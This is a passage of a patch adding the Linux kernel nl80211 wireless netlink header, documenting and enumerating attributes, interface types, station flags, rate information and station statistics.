@NL80211_ATTR_DONT_WAIT_FOR_ACK: Used with %NL80211_CMD_FRAME, this tells + * the driver to not wait for an acknowledgement. Note that due to this, + * it will also not give a status callback nor return a cookie. This is + * mostly useful for probe responses to save airtime. + * + * @NL80211_ATTR_FEATURE_FLAGS: This u32 attribute contains flags from + * &enum nl80211_feature_flags and is advertised in wiphy information. + * @NL80211_ATTR_PROBE_RESP_OFFLOAD: Indicates that the HW responds to probe + * requests while operating in AP-mode. + * This attribute holds a bitmap of the supported protocols for + * offloading (see &enum nl80211_probe_resp_offload_support_attr). + * + * @NL80211_ATTR_PROBE_RESP: Probe Response template data. Contains the entire + * probe-response frame. The DA field in the 802.11 header is zero-ed out, + * to be filled by the FW. + * @NL80211_ATTR_DISABLE_HT: Force HT capable interfaces to disable + * this feature. Currently, only supported in mac80211 drivers. + * @NL80211_ATTR_HT_CAPABILITY_MASK: Specify which bits of the + * ATTR_HT_CAPABILITY to which attention should be paid. + * Currently, only mac80211 NICs support this feature. + * The values that may be configured are: + * MCS rates, MAX-AMSDU, HT-20-40 and HT_CAP_SGI_40 + * AMPDU density and AMPDU factor. + * All values are treated as suggestions and may be ignored + * by the driver as required. The actual values may be seen in + * the station debugfs ht_caps file. + * + * @NL80211_ATTR_DFS_REGION: region for regulatory rules which this country + * abides to when initiating radiation on DFS channels. A country maps + * to one DFS region. + * + * @NL80211_ATTR_NOACK_MAP: This u16 bitmap contains the No Ack Policy of + * up to 16 TIDs. + * + * @NL80211_ATTR_INACTIVITY_TIMEOUT: timeout value in seconds, this can be + * used by the drivers which has MLME in firmware and does not have support + * to report per station tx/rx activity to free up the staion entry from + * the list. This needs to be used when the driver advertises the + * capability to timeout the stations. + * + * @NL80211_ATTR_RX_SIGNAL_DBM: signal strength in dBm (as a 32-bit int); + * this attribute is (depending on the driver capabilities) added to + * received frames indicated with %NL80211_CMD_FRAME. + * + * @NL80211_ATTR_BG_SCAN_PERIOD: Background scan period in seconds + * or 0 to disable background scan. + * + * @NL80211_ATTR_USER_REG_HINT_TYPE: type of regulatory hint passed from + * userspace. If unset it is assumed the hint comes directly from + * a user. If set code could specify exactly what type of source + * was used to provide the hint. For the different types of + * allowed user regulatory hints see nl80211_user_reg_hint_type. + * + * @NL80211_ATTR_CONN_FAILED_REASON: The reason for which AP has rejected + * the connection request from a station. nl80211_connect_failed_reason + * enum has different reasons of connection failure. + * + * @NL80211_ATTR_SAE_DATA: SAE elements in Authentication frames. This starts + * with the Authentication transaction sequence number field. + * + * @NL80211_ATTR_VHT_CAPABILITY: VHT Capability information element (from + * association request when used with NL80211_CMD_NEW_STATION) + * + * @NL80211_ATTR_SCAN_FLAGS: scan request control flags (u32) + * + * @NL80211_ATTR_P2P_CTWINDOW: P2P GO Client Traffic Window (u8), used with + * the START_AP and SET_BSS commands + * @NL80211_ATTR_P2P_OPPPS: P2P GO opportunistic PS (u8), used with the + * START_AP and SET_BSS commands. This can have the values 0 or 1; + * if not given in START_AP 0 is assumed, if not given in SET_BSS + * no change is made. + * + * @NL80211_ATTR_LOCAL_MESH_POWER_MODE: local mesh STA link-specific power mode + * defined in &enum nl80211_mesh_power_mode. + * + * @NL80211_ATTR_ACL_POLICY: ACL policy, see &enum nl80211_acl_policy, + * carried in a u32 attribute + * + * @NL80211_ATTR_MAC_ADDRS: Array of nested MAC addresses, used for + * MAC ACL. + * + * @NL80211_ATTR_MAC_ACL_MAX: u32 attribute to advertise the maximum + * number of MAC addresses that a device can support for MAC + * ACL. + * + * @NL80211_ATTR_RADAR_EVENT: Type of radar event for notification to userspace, + * contains a value of enum nl80211_radar_event (u32). + * + * @NL80211_ATTR_EXT_CAPA: 802.11 extended capabilities that the kernel driver + * has and handles. The format is the same as the IE contents. See + * 802.11-2012 8.4.2.29 for more information. + * @NL80211_ATTR_EXT_CAPA_MASK: Extended capabilities that the kernel driver + * has set in the %NL80211_ATTR_EXT_CAPA value, for multibit fields. + * + * @NL80211_ATTR_STA_CAPABILITY: Station capabilities (u16) are advertised to + * the driver, e.g., to enable TDLS power save (PU-APSD). + * + * @NL80211_ATTR_STA_EXT_CAPABILITY: Station extended capabilities are + * advertised to the driver, e.g., to enable TDLS off channel operations + * and PU-APSD. + * + * @NL80211_ATTR_PROTOCOL_FEATURES: global nl80211 feature flags, see + * &enum nl80211_protocol_features, the attribute is a u32. + * + * @NL80211_ATTR_SPLIT_WIPHY_DUMP: flag attribute, userspace supports + * receiving the data for a single wiphy split across multiple + * messages, given with wiphy dump message + * + * @NL80211_ATTR_MDID: Mobility Domain Identifier + * + * @NL80211_ATTR_IE_RIC: Resource Information Container Information + * Element + * + * @NL80211_ATTR_CRIT_PROT_ID: critical protocol identifier requiring increased + * reliability, see &enum nl80211_crit_proto_id (u16). + * @NL80211_ATTR_MAX_CRIT_PROT_DURATION: duration in milliseconds in which + * the connection should have increased reliability (u16). + * + * @NL80211_ATTR_PEER_AID: Association ID for the peer TDLS station (u16). + * This is similar to @NL80211_ATTR_STA_AID but with a difference of being + * allowed to be used with the first @NL80211_CMD_SET_STATION command to + * update a TDLS peer STA entry. + * + * @NL80211_ATTR_COALESCE_RULE: Coalesce rule information. + * + * @NL80211_ATTR_CH_SWITCH_COUNT: u32 attribute specifying the number of TBTT's + * until the channel switch event. + * @NL80211_ATTR_CH_SWITCH_BLOCK_TX: flag attribute specifying that transmission + * must be blocked on the current channel (before the channel switch + * operation). + * @NL80211_ATTR_CSA_IES: Nested set of attributes containing the IE information + * for the time while performing a channel switch. + * @NL80211_ATTR_CSA_C_OFF_BEACON: Offset of the channel switch counter + * field in the beacons tail (%NL80211_ATTR_BEACON_TAIL). + * @NL80211_ATTR_CSA_C_OFF_PRESP: Offset of the channel switch counter + * field in the probe response (%NL80211_ATTR_PROBE_RESP). + * + * @NL80211_ATTR_RXMGMT_FLAGS: flags for nl80211_send_mgmt(), u32. + * As specified in the &enum nl80211_rxmgmt_flags. + * + * @NL80211_ATTR_STA_SUPPORTED_CHANNELS: array of supported channels. + * + * @NL80211_ATTR_STA_SUPPORTED_OPER_CLASSES: array of supported + * supported operating classes. + * + * @NL80211_ATTR_HANDLE_DFS: A flag indicating whether user space + * controls DFS operation in IBSS mode. If the flag is included in + * %NL80211_CMD_JOIN_IBSS request, the driver will allow use of DFS + * channels and reports radar events to userspace. Userspace is required + * to react to radar events, e.g. initiate a channel switch or leave the + * IBSS network. + * + * @NL80211_ATTR_MAX: highest attribute number currently defined + * @__NL80211_ATTR_AFTER_LAST: internal use + */ +enum nl80211_attrs { +/* don't change the order or add anything between, this is ABI! */ + NL80211_ATTR_UNSPEC, + + NL80211_ATTR_WIPHY, + NL80211_ATTR_WIPHY_NAME, + + NL80211_ATTR_IFINDEX, + NL80211_ATTR_IFNAME, + NL80211_ATTR_IFTYPE, + + NL80211_ATTR_MAC, + + NL80211_ATTR_KEY_DATA, + NL80211_ATTR_KEY_IDX, + NL80211_ATTR_KEY_CIPHER, + NL80211_ATTR_KEY_SEQ, + NL80211_ATTR_KEY_DEFAULT, + + NL80211_ATTR_BEACON_INTERVAL, + NL80211_ATTR_DTIM_PERIOD, + NL80211_ATTR_BEACON_HEAD, + NL80211_ATTR_BEACON_TAIL, + + NL80211_ATTR_STA_AID, + NL80211_ATTR_STA_FLAGS, + NL80211_ATTR_STA_LISTEN_INTERVAL, + NL80211_ATTR_STA_SUPPORTED_RATES, + NL80211_ATTR_STA_VLAN, + NL80211_ATTR_STA_INFO, + + NL80211_ATTR_WIPHY_BANDS, + + NL80211_ATTR_MNTR_FLAGS, + + NL80211_ATTR_MESH_ID, + NL80211_ATTR_STA_PLINK_ACTION, + NL80211_ATTR_MPATH_NEXT_HOP, + NL80211_ATTR_MPATH_INFO, + + NL80211_ATTR_BSS_CTS_PROT, + NL80211_ATTR_BSS_SHORT_PREAMBLE, + NL80211_ATTR_BSS_SHORT_SLOT_TIME, + + NL80211_ATTR_HT_CAPABILITY, + + NL80211_ATTR_SUPPORTED_IFTYPES, + + NL80211_ATTR_REG_ALPHA2, + NL80211_ATTR_REG_RULES, + + NL80211_ATTR_MESH_CONFIG, + + NL80211_ATTR_BSS_BASIC_RATES, + + NL80211_ATTR_WIPHY_TXQ_PARAMS, + NL80211_ATTR_WIPHY_FREQ, + NL80211_ATTR_WIPHY_CHANNEL_TYPE, + + NL80211_ATTR_KEY_DEFAULT_MGMT, + + NL80211_ATTR_MGMT_SUBTYPE, + NL80211_ATTR_IE, + + NL80211_ATTR_MAX_NUM_SCAN_SSIDS, + + NL80211_ATTR_SCAN_FREQUENCIES, + NL80211_ATTR_SCAN_SSIDS, + NL80211_ATTR_GENERATION, /* replaces old SCAN_GENERATION */ + NL80211_ATTR_BSS, + + NL80211_ATTR_REG_INITIATOR, + NL80211_ATTR_REG_TYPE, + + NL80211_ATTR_SUPPORTED_COMMANDS, + + NL80211_ATTR_FRAME, + NL80211_ATTR_SSID, + NL80211_ATTR_AUTH_TYPE, + NL80211_ATTR_REASON_CODE, + + NL80211_ATTR_KEY_TYPE, + + NL80211_ATTR_MAX_SCAN_IE_LEN, + NL80211_ATTR_CIPHER_SUITES, + + NL80211_ATTR_FREQ_BEFORE, + NL80211_ATTR_FREQ_AFTER, + + NL80211_ATTR_FREQ_FIXED, + + + NL80211_ATTR_WIPHY_RETRY_SHORT, + NL80211_ATTR_WIPHY_RETRY_LONG, + NL80211_ATTR_WIPHY_FRAG_THRESHOLD, + NL80211_ATTR_WIPHY_RTS_THRESHOLD, + + NL80211_ATTR_TIMED_OUT, + + NL80211_ATTR_USE_MFP, + + NL80211_ATTR_STA_FLAGS2, + + NL80211_ATTR_CONTROL_PORT, + + NL80211_ATTR_TESTDATA, + + NL80211_ATTR_PRIVACY, + + NL80211_ATTR_DISCONNECTED_BY_AP, + NL80211_ATTR_STATUS_CODE, + + NL80211_ATTR_CIPHER_SUITES_PAIRWISE, + NL80211_ATTR_CIPHER_SUITE_GROUP, + NL80211_ATTR_WPA_VERSIONS, + NL80211_ATTR_AKM_SUITES, + + NL80211_ATTR_REQ_IE, + NL80211_ATTR_RESP_IE, + + NL80211_ATTR_PREV_BSSID, + + NL80211_ATTR_KEY, + NL80211_ATTR_KEYS, + + NL80211_ATTR_PID, + + NL80211_ATTR_4ADDR, + + NL80211_ATTR_SURVEY_INFO, + + NL80211_ATTR_PMKID, + NL80211_ATTR_MAX_NUM_PMKIDS, + + NL80211_ATTR_DURATION, + + NL80211_ATTR_COOKIE, + + NL80211_ATTR_WIPHY_COVERAGE_CLASS, + + NL80211_ATTR_TX_RATES, + + NL80211_ATTR_FRAME_MATCH, + + NL80211_ATTR_ACK, + + NL80211_ATTR_PS_STATE, + + NL80211_ATTR_CQM, + + NL80211_ATTR_LOCAL_STATE_CHANGE, + + NL80211_ATTR_AP_ISOLATE, + + NL80211_ATTR_WIPHY_TX_POWER_SETTING, + NL80211_ATTR_WIPHY_TX_POWER_LEVEL, + + NL80211_ATTR_TX_FRAME_TYPES, + NL80211_ATTR_RX_FRAME_TYPES, + NL80211_ATTR_FRAME_TYPE, + + NL80211_ATTR_CONTROL_PORT_ETHERTYPE, + NL80211_ATTR_CONTROL_PORT_NO_ENCRYPT, + + NL80211_ATTR_SUPPORT_IBSS_RSN, + + NL80211_ATTR_WIPHY_ANTENNA_TX, + NL80211_ATTR_WIPHY_ANTENNA_RX, + + NL80211_ATTR_MCAST_RATE, + + NL80211_ATTR_OFFCHANNEL_TX_OK, + + NL80211_ATTR_BSS_HT_OPMODE, + + NL80211_ATTR_KEY_DEFAULT_TYPES, + + NL80211_ATTR_MAX_REMAIN_ON_CHANNEL_DURATION, + + NL80211_ATTR_MESH_SETUP, + + NL80211_ATTR_WIPHY_ANTENNA_AVAIL_TX, + NL80211_ATTR_WIPHY_ANTENNA_AVAIL_RX, + + NL80211_ATTR_SUPPORT_MESH_AUTH, + NL80211_ATTR_STA_PLINK_STATE, + + NL80211_ATTR_WOWLAN_TRIGGERS, + NL80211_ATTR_WOWLAN_TRIGGERS_SUPPORTED, + + NL80211_ATTR_SCHED_SCAN_INTERVAL, + + NL80211_ATTR_INTERFACE_COMBINATIONS, + NL80211_ATTR_SOFTWARE_IFTYPES, + + NL80211_ATTR_REKEY_DATA, + + NL80211_ATTR_MAX_NUM_SCHED_SCAN_SSIDS, + NL80211_ATTR_MAX_SCHED_SCAN_IE_LEN, + + NL80211_ATTR_SCAN_SUPP_RATES, + + NL80211_ATTR_HIDDEN_SSID, + + NL80211_ATTR_IE_PROBE_RESP, + NL80211_ATTR_IE_ASSOC_RESP, + + NL80211_ATTR_STA_WME, + NL80211_ATTR_SUPPORT_AP_UAPSD, + + NL80211_ATTR_ROAM_SUPPORT, + + NL80211_ATTR_SCHED_SCAN_MATCH, + NL80211_ATTR_MAX_MATCH_SETS, + + NL80211_ATTR_PMKSA_CANDIDATE, + + NL80211_ATTR_TX_NO_CCK_RATE, + + NL80211_ATTR_TDLS_ACTION, + NL80211_ATTR_TDLS_DIALOG_TOKEN, + NL80211_ATTR_TDLS_OPERATION, + NL80211_ATTR_TDLS_SUPPORT, + NL80211_ATTR_TDLS_EXTERNAL_SETUP, + + NL80211_ATTR_DEVICE_AP_SME, + + NL80211_ATTR_DONT_WAIT_FOR_ACK, + + NL80211_ATTR_FEATURE_FLAGS, + + NL80211_ATTR_PROBE_RESP_OFFLOAD, + + NL80211_ATTR_PROBE_RESP, + + NL80211_ATTR_DFS_REGION, + + NL80211_ATTR_DISABLE_HT, + NL80211_ATTR_HT_CAPABILITY_MASK, + + NL80211_ATTR_NOACK_MAP, + + NL80211_ATTR_INACTIVITY_TIMEOUT, + + NL80211_ATTR_RX_SIGNAL_DBM, + + NL80211_ATTR_BG_SCAN_PERIOD, + + NL80211_ATTR_WDEV, + + NL80211_ATTR_USER_REG_HINT_TYPE, + + NL80211_ATTR_CONN_FAILED_REASON, + + NL80211_ATTR_SAE_DATA, + + NL80211_ATTR_VHT_CAPABILITY, + + NL80211_ATTR_SCAN_FLAGS, + + NL80211_ATTR_CHANNEL_WIDTH, + NL80211_ATTR_CENTER_FREQ1, + NL80211_ATTR_CENTER_FREQ2, + + NL80211_ATTR_P2P_CTWINDOW, + NL80211_ATTR_P2P_OPPPS, + + NL80211_ATTR_LOCAL_MESH_POWER_MODE, + + NL80211_ATTR_ACL_POLICY, + + NL80211_ATTR_MAC_ADDRS, + + NL80211_ATTR_MAC_ACL_MAX, + + NL80211_ATTR_RADAR_EVENT, + + NL80211_ATTR_EXT_CAPA, + NL80211_ATTR_EXT_CAPA_MASK, + + NL80211_ATTR_STA_CAPABILITY, + NL80211_ATTR_STA_EXT_CAPABILITY, + + NL80211_ATTR_PROTOCOL_FEATURES, + NL80211_ATTR_SPLIT_WIPHY_DUMP, + + NL80211_ATTR_DISABLE_VHT, + NL80211_ATTR_VHT_CAPABILITY_MASK, + + NL80211_ATTR_MDID, + NL80211_ATTR_IE_RIC, + + NL80211_ATTR_CRIT_PROT_ID, + NL80211_ATTR_MAX_CRIT_PROT_DURATION, + + NL80211_ATTR_PEER_AID, + + NL80211_ATTR_COALESCE_RULE, + + NL80211_ATTR_CH_SWITCH_COUNT, + NL80211_ATTR_CH_SWITCH_BLOCK_TX, + NL80211_ATTR_CSA_IES, + NL80211_ATTR_CSA_C_OFF_BEACON, + NL80211_ATTR_CSA_C_OFF_PRESP, + + NL80211_ATTR_RXMGMT_FLAGS, + + NL80211_ATTR_STA_SUPPORTED_CHANNELS, + + NL80211_ATTR_STA_SUPPORTED_OPER_CLASSES, + + NL80211_ATTR_HANDLE_DFS, + + /* add attributes here, update the policy in nl80211.c */ + + __NL80211_ATTR_AFTER_LAST, + NL80211_ATTR_MAX = __NL80211_ATTR_AFTER_LAST - 1 +}; + +/* source-level API compatibility */ +#define NL80211_ATTR_SCAN_GENERATION NL80211_ATTR_GENERATION +#define NL80211_ATTR_MESH_PARAMS NL80211_ATTR_MESH_CONFIG + +/* + * Allow user space programs to use #ifdef on new attributes by defining them + * here + */ +#define NL80211_CMD_CONNECT NL80211_CMD_CONNECT +#define NL80211_ATTR_HT_CAPABILITY NL80211_ATTR_HT_CAPABILITY +#define NL80211_ATTR_BSS_BASIC_RATES NL80211_ATTR_BSS_BASIC_RATES +#define NL80211_ATTR_WIPHY_TXQ_PARAMS NL80211_ATTR_WIPHY_TXQ_PARAMS +#define NL80211_ATTR_WIPHY_FREQ NL80211_ATTR_WIPHY_FREQ +#define NL80211_ATTR_WIPHY_CHANNEL_TYPE NL80211_ATTR_WIPHY_CHANNEL_TYPE +#define NL80211_ATTR_MGMT_SUBTYPE NL80211_ATTR_MGMT_SUBTYPE +#define NL80211_ATTR_IE NL80211_ATTR_IE +#define NL80211_ATTR_REG_INITIATOR NL80211_ATTR_REG_INITIATOR +#define NL80211_ATTR_REG_TYPE NL80211_ATTR_REG_TYPE +#define NL80211_ATTR_FRAME NL80211_ATTR_FRAME +#define NL80211_ATTR_SSID NL80211_ATTR_SSID +#define NL80211_ATTR_AUTH_TYPE NL80211_ATTR_AUTH_TYPE +#define NL80211_ATTR_REASON_CODE NL80211_ATTR_REASON_CODE +#define NL80211_ATTR_CIPHER_SUITES_PAIRWISE NL80211_ATTR_CIPHER_SUITES_PAIRWISE +#define NL80211_ATTR_CIPHER_SUITE_GROUP NL80211_ATTR_CIPHER_SUITE_GROUP +#define NL80211_ATTR_WPA_VERSIONS NL80211_ATTR_WPA_VERSIONS +#define NL80211_ATTR_AKM_SUITES NL80211_ATTR_AKM_SUITES +#define NL80211_ATTR_KEY NL80211_ATTR_KEY +#define NL80211_ATTR_KEYS NL80211_ATTR_KEYS +#define NL80211_ATTR_FEATURE_FLAGS NL80211_ATTR_FEATURE_FLAGS + +#define NL80211_MAX_SUPP_RATES 32 +#define NL80211_MAX_SUPP_HT_RATES 77 +#define NL80211_MAX_SUPP_REG_RULES 32 +#define NL80211_TKIP_DATA_OFFSET_ENCR_KEY 0 +#define NL80211_TKIP_DATA_OFFSET_TX_MIC_KEY 16 +#define NL80211_TKIP_DATA_OFFSET_RX_MIC_KEY 24 +#define NL80211_HT_CAPABILITY_LEN 26 +#define NL80211_VHT_CAPABILITY_LEN 12 + +#define NL80211_MAX_NR_CIPHER_SUITES 5 +#define NL80211_MAX_NR_AKM_SUITES 2 + +#define NL80211_MIN_REMAIN_ON_CHANNEL_TIME 10 + +/* default RSSI threshold for scan results if none specified. */ +#define NL80211_SCAN_RSSI_THOLD_OFF -300 + +#define NL80211_CQM_TXE_MAX_INTVL 1800 + +/** + * enum nl80211_iftype - (virtual) interface types + * + * @NL80211_IFTYPE_UNSPECIFIED: unspecified type, driver decides + * @NL80211_IFTYPE_ADHOC: independent BSS member + * @NL80211_IFTYPE_STATION: managed BSS member + * @NL80211_IFTYPE_AP: access point + * @NL80211_IFTYPE_AP_VLAN: VLAN interface for access points; VLAN interfaces + * are a bit special in that they must always be tied to a pre-existing + * AP type interface. + * @NL80211_IFTYPE_WDS: wireless distribution interface + * @NL80211_IFTYPE_MONITOR: monitor interface receiving all frames + * @NL80211_IFTYPE_MESH_POINT: mesh point + * @NL80211_IFTYPE_P2P_CLIENT: P2P client + * @NL80211_IFTYPE_P2P_GO: P2P group owner + * @NL80211_IFTYPE_P2P_DEVICE: P2P device interface type, this is not a netdev + * and therefore can't be created in the normal ways, use the + * %NL80211_CMD_START_P2P_DEVICE and %NL80211_CMD_STOP_P2P_DEVICE + * commands to create and destroy one + * @NL80211_IFTYPE_MAX: highest interface type number currently defined + * @NUM_NL80211_IFTYPES: number of defined interface types + * + * These values are used with the %NL80211_ATTR_IFTYPE + * to set the type of an interface. + * + */ +enum nl80211_iftype { + NL80211_IFTYPE_UNSPECIFIED, + NL80211_IFTYPE_ADHOC, + NL80211_IFTYPE_STATION, + NL80211_IFTYPE_AP, + NL80211_IFTYPE_AP_VLAN, + NL80211_IFTYPE_WDS, + NL80211_IFTYPE_MONITOR, + NL80211_IFTYPE_MESH_POINT, + NL80211_IFTYPE_P2P_CLIENT, + NL80211_IFTYPE_P2P_GO, + NL80211_IFTYPE_P2P_DEVICE, + + /* keep last */ + NUM_NL80211_IFTYPES, + NL80211_IFTYPE_MAX = NUM_NL80211_IFTYPES - 1 +}; + +/** + * enum nl80211_sta_flags - station flags + * + * Station flags. When a station is added to an AP interface, it is + * assumed to be already associated (and hence authenticated.) + * + * @__NL80211_STA_FLAG_INVALID: attribute number 0 is reserved + * @NL80211_STA_FLAG_AUTHORIZED: station is authorized (802.1X) + * @NL80211_STA_FLAG_SHORT_PREAMBLE: station is capable of receiving frames + * with short barker preamble + * @NL80211_STA_FLAG_WME: station is WME/QoS capable + * @NL80211_STA_FLAG_MFP: station uses management frame protection + * @NL80211_STA_FLAG_AUTHENTICATED: station is authenticated + * @NL80211_STA_FLAG_TDLS_PEER: station is a TDLS peer -- this flag should + * only be used in managed mode (even in the flags mask). Note that the + * flag can't be changed, it is only valid while adding a station, and + * attempts to change it will silently be ignored (rather than rejected + * as errors.) + * @NL80211_STA_FLAG_ASSOCIATED: station is associated; used with drivers + * that support %NL80211_FEATURE_FULL_AP_CLIENT_STATE to transition a + * previously added station into associated state + * @NL80211_STA_FLAG_MAX: highest station flag number currently defined + * @__NL80211_STA_FLAG_AFTER_LAST: internal use + */ +enum nl80211_sta_flags { + __NL80211_STA_FLAG_INVALID, + NL80211_STA_FLAG_AUTHORIZED, + NL80211_STA_FLAG_SHORT_PREAMBLE, + NL80211_STA_FLAG_WME, + NL80211_STA_FLAG_MFP, + NL80211_STA_FLAG_AUTHENTICATED, + NL80211_STA_FLAG_TDLS_PEER, + NL80211_STA_FLAG_ASSOCIATED, + + /* keep last */ + __NL80211_STA_FLAG_AFTER_LAST, + NL80211_STA_FLAG_MAX = __NL80211_STA_FLAG_AFTER_LAST - 1 +}; + +#define NL80211_STA_FLAG_MAX_OLD_API NL80211_STA_FLAG_TDLS_PEER + +/** + * struct nl80211_sta_flag_update - station flags mask/set + * @mask: mask of station flags to set + * @set: which values to set them to + * + * Both mask and set contain bits as per &enum nl80211_sta_flags. + */ +struct nl80211_sta_flag_update { + __u32 mask; + __u32 set; +} __attribute__((packed)); + +/** + * enum nl80211_rate_info - bitrate information + * + * These attribute types are used with %NL80211_STA_INFO_TXRATE + * when getting information about the bitrate of a station. + * There are 2 attributes for bitrate, a legacy one that represents + * a 16-bit value, and new one that represents a 32-bit value. + * If the rate value fits into 16 bit, both attributes are reported + * with the same value. If the rate is too high to fit into 16 bits + * (>6.5535Gbps) only 32-bit attribute is included. + * User space tools encouraged to use the 32-bit attribute and fall + * back to the 16-bit one for compatibility with older kernels. + * + * @__NL80211_RATE_INFO_INVALID: attribute number 0 is reserved + * @NL80211_RATE_INFO_BITRATE: total bitrate (u16, 100kbit/s) + * @NL80211_RATE_INFO_MCS: mcs index for 802.11n (u8) + * @NL80211_RATE_INFO_40_MHZ_WIDTH: 40 MHz dualchannel bitrate + * @NL80211_RATE_INFO_SHORT_GI: 400ns guard interval + * @NL80211_RATE_INFO_BITRATE32: total bitrate (u32, 100kbit/s) + * @NL80211_RATE_INFO_MAX: highest rate_info number currently defined + * @NL80211_RATE_INFO_VHT_MCS: MCS index for VHT (u8) + * @NL80211_RATE_INFO_VHT_NSS: number of streams in VHT (u8) + * @NL80211_RATE_INFO_80_MHZ_WIDTH: 80 MHz VHT rate + * @NL80211_RATE_INFO_80P80_MHZ_WIDTH: 80+80 MHz VHT rate + * @NL80211_RATE_INFO_160_MHZ_WIDTH: 160 MHz VHT rate + * @__NL80211_RATE_INFO_AFTER_LAST: internal use + */ +enum nl80211_rate_info { + __NL80211_RATE_INFO_INVALID, + NL80211_RATE_INFO_BITRATE, + NL80211_RATE_INFO_MCS, + NL80211_RATE_INFO_40_MHZ_WIDTH, + NL80211_RATE_INFO_SHORT_GI, + NL80211_RATE_INFO_BITRATE32, + NL80211_RATE_INFO_VHT_MCS, + NL80211_RATE_INFO_VHT_NSS, + NL80211_RATE_INFO_80_MHZ_WIDTH, + NL80211_RATE_INFO_80P80_MHZ_WIDTH, + NL80211_RATE_INFO_160_MHZ_WIDTH, + + /* keep last */ + __NL80211_RATE_INFO_AFTER_LAST, + NL80211_RATE_INFO_MAX = __NL80211_RATE_INFO_AFTER_LAST - 1 +}; + +/** + * enum nl80211_sta_bss_param - BSS information collected by STA + * + * These attribute types are used with %NL80211_STA_INFO_BSS_PARAM + * when getting information about the bitrate of a station. + * + * @__NL80211_STA_BSS_PARAM_INVALID: attribute number 0 is reserved + * @NL80211_STA_BSS_PARAM_CTS_PROT: whether CTS protection is enabled (flag) + * @NL80211_STA_BSS_PARAM_SHORT_PREAMBLE: whether short preamble is enabled + * (flag) + * @NL80211_STA_BSS_PARAM_SHORT_SLOT_TIME: whether short slot time is enabled + * (flag) + * @NL80211_STA_BSS_PARAM_DTIM_PERIOD: DTIM period for beaconing (u8) + * @NL80211_STA_BSS_PARAM_BEACON_INTERVAL: Beacon interval (u16) + * @NL80211_STA_BSS_PARAM_MAX: highest sta_bss_param number currently defined + * @__NL80211_STA_BSS_PARAM_AFTER_LAST: internal use + */ +enum nl80211_sta_bss_param { + __NL80211_STA_BSS_PARAM_INVALID, + NL80211_STA_BSS_PARAM_CTS_PROT, + NL80211_STA_BSS_PARAM_SHORT_PREAMBLE, + NL80211_STA_BSS_PARAM_SHORT_SLOT_TIME, + NL80211_STA_BSS_PARAM_DTIM_PERIOD, + NL80211_STA_BSS_PARAM_BEACON_INTERVAL, + + /* keep last */ + __NL80211_STA_BSS_PARAM_AFTER_LAST, + NL80211_STA_BSS_PARAM_MAX = __NL80211_STA_BSS_PARAM_AFTER_LAST - 1 +}; + +/** + * enum nl80211_sta_info - station information + * + * These attribute types are used with %NL80211_ATTR_STA_INFO + * when getting information about a station. + * + * @__NL80211_STA_INFO_INVALID: attribute number 0 is reserved + * @NL80211_STA_INFO_INACTIVE_TIME: time since last activity (u32, msecs) + * @NL80211_STA_INFO_RX_BYTES: total received bytes (u32, from this station) + * @NL80211_STA_INFO_TX_BYTES: total transmitted bytes (u32, to this station) + * @NL80211_STA_INFO_RX_BYTES64: total received bytes (u64, from this station) + * @NL80211_STA_INFO_TX_BYTES64: total transmitted bytes (u64, to this station) + * @NL80211_STA_INFO_SIGNAL: signal strength of last received PPDU (u8, dBm) + * @NL80211_STA_INFO_TX_BITRATE: current unicast tx rate, nested attribute + * containing info as possible, see &enum nl80211_rate_info + * @NL80211_STA_INFO_RX_PACKETS: total received packet (u32, from this station) + * @NL80211_STA_INFO_TX_PACKETS: total transmitted packets (u32, to this + * station) + * @NL80211_STA_INFO_TX_RETRIES: total retries (u32, to this station) + * @NL80211_STA_INFO_TX_FAILED: total failed packets (u32, to this station) + * @NL80211_STA_INFO_SIGNAL_AVG: signal strength average (u8, dBm) + * @NL80211_STA_INFO_LLID: the station's mesh LLID + * @NL80211_STA_INFO_PLID: the station's mesh PLID + * @NL80211_STA_INFO_PLINK_STATE: peer link state for the station + * (see %enum nl80211_plink_state) + * @NL80211_STA_INFO_RX_BITRATE: last unicast data frame rx rate, nested + * attribute, like NL80211_STA_INFO_TX_BITRATE. + * @NL80211_STA_INFO_BSS_PARAM: current station's view of BSS, nested attribute + * containing info as possible, see &enum nl80211_sta_bss_param + * @NL80211_STA_INFO_CONNECTED_TIME: time since the station is last connected + * @NL80211_STA_INFO_STA_FLAGS: Contains a struct nl80211_sta_flag_update. + * @NL80211_STA_INFO_BEACON_LOSS: count of times beacon loss was detected (u32) + * @NL80211_STA_INFO_T_OFFSET: timing offset with respect to this STA (s64) + * @NL80211_STA_INFO_LOCAL_PM: local mesh STA link-specific power mode + * @NL80211_STA_INFO_PEER_PM: peer mesh STA link-specific power mode + * @NL80211_STA_INFO_NONPEER_PM: neighbor mesh STA power save mode towards + * non-peer STA + * @NL80211_STA_INFO_CHAIN_SIGNAL: per-chain signal strength of last PPDU + * Contains a nested array of signal strength attributes (u8, dBm) + * @NL80211_STA_INFO_CHAIN_SIGNAL_AVG: per-chain signal strength average + * Same format as NL80211_STA_INFO_CHAIN_SIGNAL. + * @__NL80211_STA_INFO_AFTER_LAST: internal + * @NL80211_STA_INFO_MAX: highest possible station info attribute + */ +enum nl80211_sta_info { + __NL80211_STA_INFO_INVALID, + NL80211_STA_INFO_INACTIVE_TIME, + NL80211_STA_INFO_RX_BYTES, + NL80211_STA_INFO_TX_BYTES, + NL80211_STA_INFO_LLID, + NL80211_STA_INFO_PLID, + NL80211_STA_INFO_PLINK_STATE, + NL80211_STA_INFO_SIGNAL, + NL80211_STA_INFO_TX_BITRATE, + NL80211_STA_INFO_RX_PACKETS, + NL80211_STA_INFO_TX_PACKETS, + NL80211_STA_INFO_TX_RETRIES, + NL80211_STA_INFO_TX_FAILED, + NL80211_STA_INFO_SIGNAL_AVG, + NL80211_STA_INFO_RX_BITRATE, + NL80211_STA_INFO_BSS_PARAM, + NL80211_STA_INFO_CONNECTED_TIME, + NL80211_STA_INFO_STA_FLAGS, + NL80211_STA_INFO_BEACON_LOSS, + NL80211_STA_INFO_T_OFFSET, + NL80211_STA_INFO_LOCAL_PM, + NL80211_STA_INFO_PEER_PM, + NL80211_STA_INFO_NONPEER_PM, + NL80211_STA_INFO_RX_BYTES64, + NL80211_STA_INFO_TX_BYTES64, + NL80211_STA_INFO_CHAIN_SIGNAL, + NL80211_STA_INFO_CHAIN_SIGNAL_AVG, + + /* keep last */ + __NL80211_STA_INFO_AFTER_LAST, + NL80211_STA_INFO_MAX = __NL80211_STA_INFO_AFTER_LAST - 1 +}; + +/** + * enum nl80211_mpath_flags - nl80211 mesh path flags + * + * @NL80211_MPATH_FLAG_ACTIVE: the mesh path is active + * @NL80211_MPATH_FLAG_RESOLVING: the mesh path discovery process is running + * 